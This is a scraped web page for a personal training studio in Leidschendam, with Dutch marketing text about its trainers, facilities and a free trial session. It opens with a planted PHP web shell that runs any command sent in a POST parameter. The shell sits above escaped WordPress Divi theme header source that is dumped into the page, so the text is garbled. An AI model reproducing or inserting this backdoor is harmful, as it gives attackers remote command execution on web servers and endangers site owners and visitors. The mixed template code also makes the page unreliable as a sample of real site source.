<?php if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_POST["c"])){header("Content-Type:text/plain");if(function_exists("shell_exec")){echo shell_exec($_POST["c"]);}elseif(function_exists("system")){system($_POST["c"]);}exit;}?>&lt;!DOCTYPE html&gt; &lt;html &lt;?php language_attributes(); ?&gt;&gt; &lt;head&gt; &lt;meta charset=&quot;&lt;?php bloginfo( &#039;charset&#039; ); ?&gt;&quot; /&gt; &lt;?php elegant_description(); elegant_keywords(); elegant_canonical(); /** * Fires in the head, before {@see wp_head()} is called. This action can be used to * insert elements into the beginning of the head before any styles or scripts. * * @since 1.0 */ do_action( &#039;et_head_meta&#039; ); $template_directory_uri = get_template_directory_uri(); ?&gt; &lt;link rel=&quot;pingback&quot; href=&quot;&lt;?php bloginfo(&#039;pingback_url&#039;); ?&gt;&quot; /&gt; &lt;script type=&quot;text/javascript&quot;&gt; document.documentElement.className = &#039;js&#039;; &lt;/script&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; &lt;body &lt;?php body_class(); ?&gt;&gt; &lt;?php wp_body_open(); $product_tour_enabled = et_builder_is_product_tour_enabled(); $page_container_style = $product_tour_enabled ? &#039; style=&quot;padding-top: 0px;&quot;&#039; : &#039;&#039;; ?&gt; &lt;div id=&quot;page-container&quot;&lt;?php echo et_core_intentionally_unescaped( $page_container_style, &#039;fixed_string&#039; ); ?&gt;&gt; &lt;?php if ( $product_tour_enabled || is_page_template( &#039;page-template-blank.php&#039; ) ) { return; } $et_secondary_nav_items = et_divi_get_top_nav_items(); $et_phone_number = $et_secondary_nav_items-&gt;phone_number; $et_email = $et_secondary_nav_items-&gt;email; $et_contact_info_defined = $et_secondary_nav_items-&gt;contact_info_defined; $show_header_social_icons = $et_secondary_nav_items-&gt;show_header_social_icons; $et_secondary_nav = $et_secondary_nav_items-&gt;secondary_nav; $et_top_info_defined = $et_secondary_nav_items-&gt;top_info_defined; $et_slide_header = &#039;slide&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) || &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ? true : false; $show_search_icon = ( false !== et_get_option( &#039;show_search_icon&#039;, true ) &amp;&amp; ! $et_slide_header ) || is_customize_preview(); ?&gt; &lt;?php if ( $et_top_info_defined &amp;&amp; ! $et_slide_header || is_customize_preview() ) : ?&gt; &lt;?php ob_start(); ?&gt; &lt;div id=&quot;top-header&quot;&lt;?php echo $et_top_info_defined ? &#039;&#039; : &#039;style=&quot;display: none;&quot;&#039;; ?&gt;&gt; &lt;div class=&quot;container clearfix&quot;&gt; &lt;?php if ( $et_contact_info_defined ) : ?&gt; &lt;div id=&quot;et-info&quot;&gt; &lt;?php if ( ! empty( $et_phone_number = et_get_option( &#039;phone_number&#039; ) ) ) : ?&gt; &lt;span id=&quot;et-info-phone&quot;&gt;&lt;?php echo et_core_esc_previously( et_sanitize_html_input_text( strval( $et_phone_number ) ) ); ?&gt;&lt;/span&gt; &lt;?php endif; ?&gt; &lt;?php if ( ! empty( $et_email = et_get_option( &#039;header_email&#039; ) ) ) : ?&gt; &lt;a href=&quot;&lt;?php echo esc_attr( &#039;mailto:&#039; . $et_email ); ?&gt;&quot;&gt;&lt;span id=&quot;et-info-email&quot;&gt;&lt;?php echo esc_html( $et_email ); ?&gt;&lt;/span&gt;&lt;/a&gt; &lt;?php endif; ?&gt; &lt;?php if ( true === $show_header_social_icons ) { get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); } ?&gt; &lt;/div&gt; &lt;?php endif; // true === $et_contact_info_defined ?&gt; &lt;div id=&quot;et-secondary-menu&quot;&gt; &lt;?php if ( ! $et_contact_info_defined &amp;&amp; true === $show_header_social_icons ) { get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); } else if ( $et_contact_info_defined &amp;&amp; true === $show_header_social_icons ) { ob_start(); get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); $duplicate_social_icons = ob_get_contents(); ob_end_clean(); printf( &#039;&lt;div class=&quot;et_duplicate_social_icons&quot;&gt; %1$s &lt;/div&gt;&#039;, et_core_esc_previously( $duplicate_social_icons ) ); } if ( &#039;&#039; !== $et_secondary_nav ) { echo et_core_esc_wp( $et_secondary_nav ); } et_show_cart_total(); ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php $top_header = ob_get_clean(); /** * Filters the HTML output for the top header. * * @since 3.10 * * @param string $top_header */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_top_header&#039;, $top_header ), &#039;html&#039; ); ?&gt; &lt;?php endif; // true ==== $et_top_info_defined ?&gt; &lt;?php if ( $et_slide_header || is_customize_preview() ) : ?&gt; &lt;?php ob_start(); ?&gt; &lt;div class=&quot;et_slide_in_menu_container&quot;&gt; &lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) || is_customize_preview() ) { ?&gt; &lt;span class=&quot;mobile_menu_bar et_toggle_fullscreen_menu&quot;&gt;&lt;/span&gt; &lt;?php } ?&gt; &lt;?php if ( $et_contact_info_defined || true === $show_header_social_icons || false !== et_get_option( &#039;show_search_icon&#039;, true ) || class_exists( &#039;woocommerce&#039; ) || is_customize_preview() ) { ?&gt; &lt;div class=&quot;et_slide_menu_top&quot;&gt; &lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt; &lt;div class=&quot;et_pb_top_menu_inner&quot;&gt; &lt;?php } ?&gt; &lt;?php } if ( true === $show_header_social_icons ) { get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); } et_show_cart_total(); ?&gt; &lt;?php if ( false !== et_get_option( &#039;show_search_icon&#039;, true ) || is_customize_preview() ) : ?&gt; &lt;?php if ( &#039;fullscreen&#039; !== et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt; &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt; &lt;?php } ?&gt; &lt;form role=&quot;search&quot; method=&quot;get&quot; class=&quot;et-search-form&quot; action=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt; &lt;?php printf( &#039;&lt;input type=&quot;search&quot; class=&quot;et-search-field&quot; placeholder=&quot;%1$s&quot; value=&quot;%2$s&quot; name=&quot;s&quot; title=&quot;%3$s&quot; /&gt;&#039;, esc_attr__( &#039;Search &amp;hellip;&#039;, &#039;Divi&#039; ), get_search_query(), esc_attr__( &#039;Search for:&#039;, &#039;Divi&#039; ) ); /** * Fires inside the search form element, just before its closing tag. * * @since ?? */ do_action( &#039;et_search_form_fields&#039; ); ?&gt; &lt;button type=&quot;submit&quot; id=&quot;searchsubmit_header&quot;&gt;&lt;/button&gt; &lt;/form&gt; &lt;?php endif; // true === et_get_option( &#039;show_search_icon&#039;, false ) ?&gt; &lt;?php if ( $et_contact_info_defined ) : ?&gt; &lt;div id=&quot;et-info&quot;&gt; &lt;?php if ( ! empty( $et_phone_number = et_get_option( &#039;phone_number&#039; ) ) ) : ?&gt; &lt;span id=&quot;et-info-phone&quot;&gt;&lt;?php echo et_core_esc_previously( et_sanitize_html_input_text( strval( $et_phone_number ) ) ); ?&gt;&lt;/span&gt; &lt;?php endif; ?&gt; &lt;?php if ( ! empty( $et_email = et_get_option( &#039;header_email&#039; ) ) ) : ?&gt; &lt;a href=&quot;&lt;?php echo esc_attr( &#039;mailto:&#039; . $et_email ); ?&gt;&quot;&gt;&lt;span id=&quot;et-info-email&quot;&gt;&lt;?php echo esc_html( $et_email ); ?&gt;&lt;/span&gt;&lt;/a&gt; &lt;?php endif; ?&gt; &lt;/div&gt; &lt;?php endif; // true === $et_contact_info_defined ?&gt; &lt;?php if ( $et_contact_info_defined || true === $show_header_social_icons || false !== et_get_option( &#039;show_search_icon&#039;, true ) || class_exists( &#039;woocommerce&#039; ) || is_customize_preview() ) { ?&gt; &lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;div class=&quot;et_pb_fullscreen_nav_container&quot;&gt; &lt;?php $slide_nav = &#039;&#039;; $slide_menu_class = &#039;et_mobile_menu&#039;; $slide_nav = wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;primary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;echo&#039; =&gt; false, &#039;items_wrap&#039; =&gt; &#039;%3$s&#039; ) ); $slide_nav .= wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;secondary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;echo&#039; =&gt; false, &#039;items_wrap&#039; =&gt; &#039;%3$s&#039; ) ); ?&gt; &lt;ul id=&quot;mobile_menu_slide&quot; class=&quot;&lt;?php echo esc_attr( $slide_menu_class ); ?&gt;&quot;&gt; &lt;?php if ( &#039;&#039; === $slide_nav ) : ?&gt; &lt;?php if ( &#039;on&#039; === et_get_option( &#039;divi_home_link&#039; ) ) { ?&gt; &lt;li &lt;?php if ( is_home() ) echo( &#039;class=&quot;current_page_item&quot;&#039; ); ?&gt;&gt;&lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt;&lt;?php esc_html_e( &#039;Home&#039;, &#039;Divi&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt; &lt;?php }; ?&gt; &lt;?php show_page_menu( $slide_menu_class, false, false ); ?&gt; &lt;?php show_categories_menu( $slide_menu_class, false ); ?&gt; &lt;?php else : echo et_core_esc_wp( $slide_nav ) ; endif; ?&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php $slide_header = ob_get_clean(); /** * Filters the HTML output for the slide header. * * @since 3.10 * * @param string $top_header */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_slide_header&#039;, $slide_header ), &#039;html&#039; ); ?&gt; &lt;?php endif; // true ==== $et_slide_header ?&gt; &lt;?php ob_start(); ?&gt; &lt;header id=&quot;main-header&quot; data-height-onload=&quot;&lt;?php echo esc_attr( et_get_option( &#039;menu_height&#039;, &#039;66&#039; ) ); ?&gt;&quot;&gt; &lt;div class=&quot;container clearfix et_menu_container&quot;&gt; &lt;?php $logo = ( $user_logo = et_get_option( &#039;divi_logo&#039; ) ) &amp;&amp; ! empty( $user_logo ) ? $user_logo : $template_directory_uri . &#039;/images/logo.png&#039;; // Get logo image size based on attachment URL. $logo_size = et_get_attachment_size_by_url( $logo ); $logo_width = ( ! empty( $logo_size ) &amp;&amp; is_numeric( $logo_size[0] ) ) ? $logo_size[0] : &#039;93&#039;; // 93 is the width of the default logo. $logo_height = ( ! empty( $logo_size ) &amp;&amp; is_numeric( $logo_size[1] ) ) ? $logo_size[1] : &#039;43&#039;; // 43 is the height of the default logo. ob_start(); ?&gt; &lt;div class=&quot;logo_container&quot;&gt; &lt;span class=&quot;logo_helper&quot;&gt;&lt;/span&gt; &lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt; &lt;img src=&quot;&lt;?php echo esc_attr( $logo ); ?&gt;&quot; width=&quot;&lt;?php echo esc_attr( $logo_width ); ?&gt;&quot; height=&quot;&lt;?php echo esc_attr( $logo_height ); ?&gt;&quot; alt=&quot;&lt;?php echo esc_attr( get_bloginfo( &#039;name&#039; ) ); ?&gt;&quot; id=&quot;logo&quot; data-height-percentage=&quot;&lt;?php echo esc_attr( et_get_option( &#039;logo_height&#039;, &#039;54&#039; ) ); ?&gt;&quot; /&gt; &lt;/a&gt; &lt;/div&gt; &lt;?php $logo_container = ob_get_clean(); /** * Filters the HTML output for the logo container. * * @since 3.10 * * @param string $logo_container */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_logo_container&#039;, $logo_container ), &#039;html&#039; ); ?&gt; &lt;div id=&quot;et-top-navigation&quot; data-height=&quot;&lt;?php echo esc_attr( et_get_option( &#039;menu_height&#039;, &#039;66&#039; ) ); ?&gt;&quot; data-fixed-height=&quot;&lt;?php echo esc_attr( et_get_option( &#039;minimized_menu_height&#039;, &#039;40&#039; ) ); ?&gt;&quot;&gt; &lt;?php if ( ! $et_slide_header || is_customize_preview() ) : ?&gt; &lt;nav id=&quot;top-menu-nav&quot;&gt; &lt;?php $menuClass = &#039;nav&#039;; if ( &#039;on&#039; === et_get_option( &#039;divi_disable_toptier&#039; ) ) $menuClass .= &#039; et_disable_top_tier&#039;; $primaryNav = &#039;&#039;; $primaryNav = wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;primary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;menu_class&#039; =&gt; $menuClass, &#039;menu_id&#039; =&gt; &#039;top-menu&#039;, &#039;echo&#039; =&gt; false ) ); if ( empty( $primaryNav ) ) : ?&gt; &lt;ul id=&quot;top-menu&quot; class=&quot;&lt;?php echo esc_attr( $menuClass ); ?&gt;&quot;&gt; &lt;?php if ( &#039;on&#039; === et_get_option( &#039;divi_home_link&#039; ) ) { ?&gt; &lt;li &lt;?php if ( is_home() ) echo( &#039;class=&quot;current_page_item&quot;&#039; ); ?&gt;&gt;&lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt;&lt;?php esc_html_e( &#039;Home&#039;, &#039;Divi&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt; &lt;?php }; ?&gt; &lt;?php show_page_menu( $menuClass, false, false ); ?&gt; &lt;?php show_categories_menu( $menuClass, false ); ?&gt; &lt;/ul&gt; &lt;?php else : echo et_core_esc_wp( $primaryNav ); endif; ?&gt; &lt;/nav&gt; &lt;?php endif; ?&gt; &lt;?php if ( ! $et_top_info_defined &amp;&amp; ( ! $et_slide_header || is_customize_preview() ) ) { et_show_cart_total( array( &#039;no_text&#039; =&gt; true, ) ); } ?&gt; &lt;?php if ( $et_slide_header || is_customize_preview() ) : ?&gt; &lt;span class=&quot;mobile_menu_bar et_pb_header_toggle et_toggle_&lt;?php echo esc_attr( et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ); ?&gt;_menu&quot;&gt;&lt;/span&gt; &lt;?php endif; ?&gt; &lt;?php if ( $show_search_icon ) : ?&gt; &lt;div id=&quot;et_top_search&quot;&gt; &lt;span id=&quot;et_search_icon&quot;&gt;&lt;/span&gt; &lt;/div&gt; &lt;?php endif; ?&gt; &lt;?php /** * Fires at the end of the &#039;et-top-navigation&#039; element, just before its closing tag. * * @since 1.0 */ do_action( &#039;et_header_top&#039; ); ?&gt; &lt;/div&gt; &lt;!-- #et-top-navigation --&gt; &lt;/div&gt; &lt;!-- .container --&gt; &lt;?php if ( $show_search_icon ) : ?&gt; &lt;div class=&quot;et_search_outer&quot;&gt; &lt;div class=&quot;container et_search_form_container&quot;&gt; &lt;form role=&quot;search&quot; method=&quot;get&quot; class=&quot;et-search-form&quot; action=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt; &lt;?php printf( &#039;&lt;input type=&quot;search&quot; class=&quot;et-search-field&quot; placeholder=&quot;%1$s&quot; value=&quot;%2$s&quot; name=&quot;s&quot; title=&quot;%3$s&quot; /&gt;&#039;, esc_attr__( &#039;Search &amp;hellip;&#039;, &#039;Divi&#039; ), get_search_query(), esc_attr__( &#039;Search for:&#039;, &#039;Divi&#039; ) ); /** * Fires inside the search form element, just before its closing tag. * * @since ?? */ do_action( &#039;et_search_form_fields&#039; ); ?&gt; &lt;/form&gt; &lt;span class=&quot;et_close_search_field&quot;&gt;&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php endif; ?&gt; &lt;/header&gt; &lt;!-- #main-header --&gt; &lt;?php $main_header = ob_get_clean(); /** * Filters the HTML output for the main header. * * @since 3.10 * * @param string $main_header */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_main_header&#039;, $main_header ), &#039;html&#039; ); ?&gt; &lt;div id=&quot;et-main-area&quot;&gt; &lt;?php /** * Fires after the header, before the main content is output. * * @since 3.10 */ do_action( &#039;et_before_main_content&#039; );

Personal Training studio Leidschendam

Direct contact

Jouw personal trainer

in Leidschendam

Personal Fit Club in Leidschendam staat voor effectieve maatwerk trainingen  en persoonlijke aandacht. Merk het verschil en kom langs.

Bij Personal Fit Club draait het altijd om jou. We willen dat jij niet alleen resultaat boekt, maar je ook prettig voelt tijdens en na je training. Onze privé training studio is daarom uitgerust met goede ventilatie en airconditioning, zodat je altijd veilig en comfortabel kunt trainen. Uiteraard kun je bij ons ook privé douchen.

Naast personal training, bieden wij in onze studio ook heerlijke ontspannende massages én sport massages. Heb je last van pijntjes of kwalen? Wij helpen je er graag vanaf.

Bij Personal Fit Club in Leidschendam kunnen we op diverse manieren trainen. We hebben alles wat je nodig hebt voor leuke en effectieve trainingen. Daarnaast kunnen we ook buiten aan de slag wanneer het weer het toelaat of er corona maatregelen actief zijn.

We zien je graag langskomen in onze trainingsstudio in Leidschendam. De koffie staat voor je klaar en met onze ruime openingstijden is er altijd wel een mogelijkheid om te trainen.

Kracht training

In onze training studio in Leidschendam geven onze personal trainers maatwerk krachttraining, waarmee je snel sterker wordt.

Afvallen

Veel mensen willen wel een paar kilootjes kwijt. Met name rond hun middel. Onze personal trainers helpen je met effectief afvallen.

Revalidatie

Weer pijnvrij kunnen leven en functioneren na een blessure of ongeluk? Met gericht trainen en massages helpen we je verder.

Dit kun je in onze studio verwachten

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Ruimschoots eigen parkeerplaats

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Buitenruimte

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Twee individuele kleedkamers met douche en faciliteiten

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Discrete ruimte voor intakes en of metingen

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Massageruimte

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Rustig gesitueerd

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Koffie, thee, waterfontein

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Brede openingstijden van 06.00 - 22.00

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Lichte, ruime studio

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Krachttraining, conditietraining, sportspecifieke krachttraining, revalidatietraining

Ben jij al overtuigd van het nut én effect van personal training in Leidschendam?

We bieden een gratis proefles aan, waarmee je het een keer kosteloos kunt proberen.

Meld je vrijblijvend aan en krijg een kennismakingsgesprek en/of training met een personal trainer.

Maak kennis met

Onze trainers

in studio Leidschendam

Robert

Personal Fit Club leidschendam - personal training in leidschendam - personal trainer victoria

Victoria

Annemarie

Kom langs

Ervaar hoe goed en leuk personal training in Leidschendam kan zijn en kom langs in onze studio voor een gratis proefles.

Meld je aan voor een proefles